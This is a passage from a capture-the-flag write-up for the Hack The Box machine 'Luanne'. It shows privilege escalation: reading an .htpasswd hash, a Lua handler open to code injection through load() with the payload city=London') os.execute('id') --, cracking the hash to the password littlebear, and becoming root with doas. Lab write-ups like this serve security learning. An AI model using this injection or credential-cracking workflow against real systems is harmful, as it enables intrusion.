drwxrwxrwt 3 root wheel 48 Mar 28 04:04 ..
drwxr-xr-x 2 r.michaels wheel 48 Sep 16 2020 webapi
drwxr-xr-x 2 r.michaels wheel 96 Sep 16 2020 www
luanne$ cd www
luanne$ ls -la
total 32
drwxr-xr-x 2 r.michaels wheel 96 Sep 16 2020 .
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 ..
-rw-r--r-- 1 r.michaels wheel 47 Sep 16 2020 .htpasswd
-rw-r--r-- 1 r.michaels wheel 378 Sep 16 2020 index.html
luanne$ cat .htpasswd
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
I noticed that this hash was different from the one I had cracked earlier.
luanne$ cat index.html
<!doctype html>
<html>
<head>
<title>Index</title>
</head>
<body>
<p><h3>Weather Forecast API</h3></p>
<p><h4>List available cities:</h4></p>
<a href="/webapi/weather?city=list">/webapi/weather?city=list</a>
<p><h4>Five day forecast (London)</h4></p>
<a href="/webapi/weather?city=London">/webapi/weather?city=London</a>
<hr>
</body>
</html>
This index.html was the same as the /forecast site I had seen earlier, however.
luanne$ cd ../webapi/
luanne$ ls -la
total 32
drwxr-xr-x 2 r.michaels wheel 48 Sep 16 2020 .
drwxr-x--- 4 r.michaels wheel 96 Sep 16 2020 ..
-rw-r--r-- 1 r.michaels wheel 7072 Sep 16 2020 weather.lua
The webapi folder only contained the file weather.lua
luanne$ cat weather.lua
httpd = require 'httpd'
math = require 'math'
sqlite = require 'sqlite'
cities = {"London", "Manchester", "Birmingham", "Leeds", "Glasgow", "Southampton", "Liverpool", "Newcastle", "Nottingham", "Sheffield", "Bristol", "Belfast", "Leicester"}
weather_desc = {"sunny", "cloudy", "partially cloudy", "rainy", "snowy"}
function valid_city(cities, city)
for i, v in ipairs(cities) do
if v == city
then
return true
end
end
return false
end
function forecast(env, headers, query)
if query and query["city"]
then
local city = query["city"]
if city == "list"
then
httpd.write("HTTP/1.1 200 Ok\r\n")
httpd.write("Content-Type: application/json\r\n\r\n")
httpd.write('{"code": 200,')
httpd.write('"cities": [')
for k,v in pairs(cities) do
httpd.write('"' .. v .. '"')
if k < #cities
then
httpd.write(',')
end
end
httpd.write(']}')
elseif not valid_city(cities, city)
then
-- city=London') os.execute('id') --
httpd.write("HTTP/1.1 500 Error\r\n")
httpd.write("Content-Type: application/json\r\n\r\n")
local json = string.format([[
httpd.write('{"code": 500,')
httpd.write('"error": "unknown city: %s"}')
]], city)
load(json)()
else
-- just some fake weather data
...snipped...
end
else
httpd.write("HTTP/1.1 200 Ok\r\n")
httpd.write("Content-Type: application/json\r\n\r\n")
httpd.print('{"code": 200, "message": "No city specified. Use \'city=list\' to list available cities."}')
end
end
httpd.register_handler('forecast', forecast)
Nothing useful here? There did seem to be a backdoor potentially written in, though it was commented out -- city=London') os.execute('id') --. I think this is where I injected my original access
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ echo 'webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' >> hash 130 ⨯
┌──(zweilos㉿kali)-[~/htb/luanne]
└─$ hashcat -O -D1,2 -a0 -m500 hash /usr/share/wordlists/rockyou.txt --username
hashcat (v6.1.1) starting...
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Optimized-Kernel
* Zero-Byte
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
INFO: Removed 1 hash found in potfile.
Host memory required for this attack: 65 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.:littlebear
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: hash
Time.Started.....: Sat Mar 27 23:58:52 2021 (1 sec)
Time.Estimated...: Sat Mar 27 23:58:53 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 41505 H/s (11.99ms) @ Accel:512 Loops:250 Thr:1 Vec:8
Recovered........: 2/2 (100.00%) Digests, 2/2 (100.00%) Salts
Progress.........: 26636/28688770 (0.09%)
Rejected.........: 12/26636 (0.05%)
Restore.Point....: 12293/14344385 (0.09%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidates.#1....: gamboa -> billybob1
Started: Sat Mar 27 23:58:51 2021
Stopped: Sat Mar 27 23:58:54 2021
The hash cracked almost immediately, finding a password of littlebear
luanne$ doas whoami
Password:
root
I was able to run commands with doas with this password!

Root.txt

luanne$ doas su
Password:
# cd /root
# ls -la
total 36
drwxr-xr-x 2 root wheel 512 Nov 24 09:30 .
drwxr-xr-x 21 root wheel 512 Sep 16 2020 ..
-r--r--r-- 2 root wheel 1220 Feb 14 2020 .cshrc
-rw------- 1 root wheel 59 Feb 14 2020 .klogin
-rw-r--r-- 1 root wheel 212 Feb 14 2020 .login
-r--r--r-- 2 root wheel 701 Feb 14 2020 .profile
-rw-r--r-- 1 root wheel 221 Feb 14 2020 .shrc
-r-x------ 1 root wheel 178 Nov 24 09:57 cleanup.sh
-r-------- 1 root wheel 33 Sep 16 2020 root.txt
# cat root
cat: root: No such file or directory
# cat root.txt
7a9b5c206e8e8ba09bb99bd113675f66
# cat cleanup.sh
#!/bin/sh
/usr/bin/find / -name devel_backup-2020-09-16.tar.gz -exec rm -f {} \;
/usr/bin/find / -name devel-2020-09-16 -exec rm -rf {} \;
/usr/bin/find /tmp -exec rm -rf {} \;
Note: /etc/master.passwd is where password hashes are stored in BSD, not /etc/shadow
Thanks to polarbearer for something interesting or useful about this machine.
If you like this content and would like to see more, please consider buying me a coffee!